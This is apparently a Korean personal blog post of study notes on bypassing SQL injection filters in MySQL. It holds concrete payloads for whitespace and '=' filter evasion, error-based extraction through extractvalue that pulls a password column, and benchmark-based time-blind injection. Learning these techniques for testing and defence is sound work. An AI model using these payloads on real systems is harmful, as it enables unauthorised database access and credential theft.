웹/SQLi

sqli 필터링 우회

범고래_1 2018. 10. 26. 15:42

1. 공백 우회

?id=(0)union(select(1),(2),group_concat(column_name),(4),(5)from(information_schema.columns))


2. = 우회

like, in, regexp 쓰면된다. regexp는 정규식 관련 연산자이다.

또한, if, strcmp를 이용하는 방법도 있다.

if(strcmp(substr(‘abc’,1,1),’a’),0,1)


3. 에러기반 SQLi

1) 일단 가장 기본

서브쿼리는 한 개의 행만 리턴해야 하는데, (select 1 union select 2)는 두 개의 행을 리턴하므로 에러를 뱉는다.

if(조건,1, (select 1 union select 2)) 일케하면, 조건이 거짓일 땐 에러발생이므로 조건에 따른 blind 가능


2) 0xfffffffffffff*0xfffffffffffff를 하면 int 범위를 초과하여 BIGINT UNSIGNED value is out of range 에러가 발생한다.


3) 오류메시지를 출력해줄 경우, xpath 오류 메시지를 이용하면 데이터를 뽑을 수 있다.

mysql에서 extractvalue 함수는 xml data xpath 쿼리를 실행한다. 사용법은 다음과 같다.

ExtractValue([xmldata], [xpathquery])

여기서 xpath query 에 문법적 오류가 있으면 에러 메시지를 그대로 출력한다.

procedure analyse(extractvalue(1,concat(0x1,version( ))),1)

procedure analyse(extractvalue(1,concat(0x1, (select pw from table limit 1,1))),1)


4) 오류메시지가 안 나오나면, 시간기반 블라인드는

procedure analyse(extractvalue(1,concat(0x1,if((select mid(pw,1,1) from table limit 1 )='a', benchmark(4000000,sha('a')),0))),1)


' > SQLi' 카테고리의 다른 글

from 절에서 Injection으로 데이터 추출  (0) 2018.07.28
SQLite에서 information_schema  (0) 2017.03.02
Quine을 이용한 인증 우회  (0) 2017.01.20
SQL Injection 필터링 우회  (1) 2017.01.08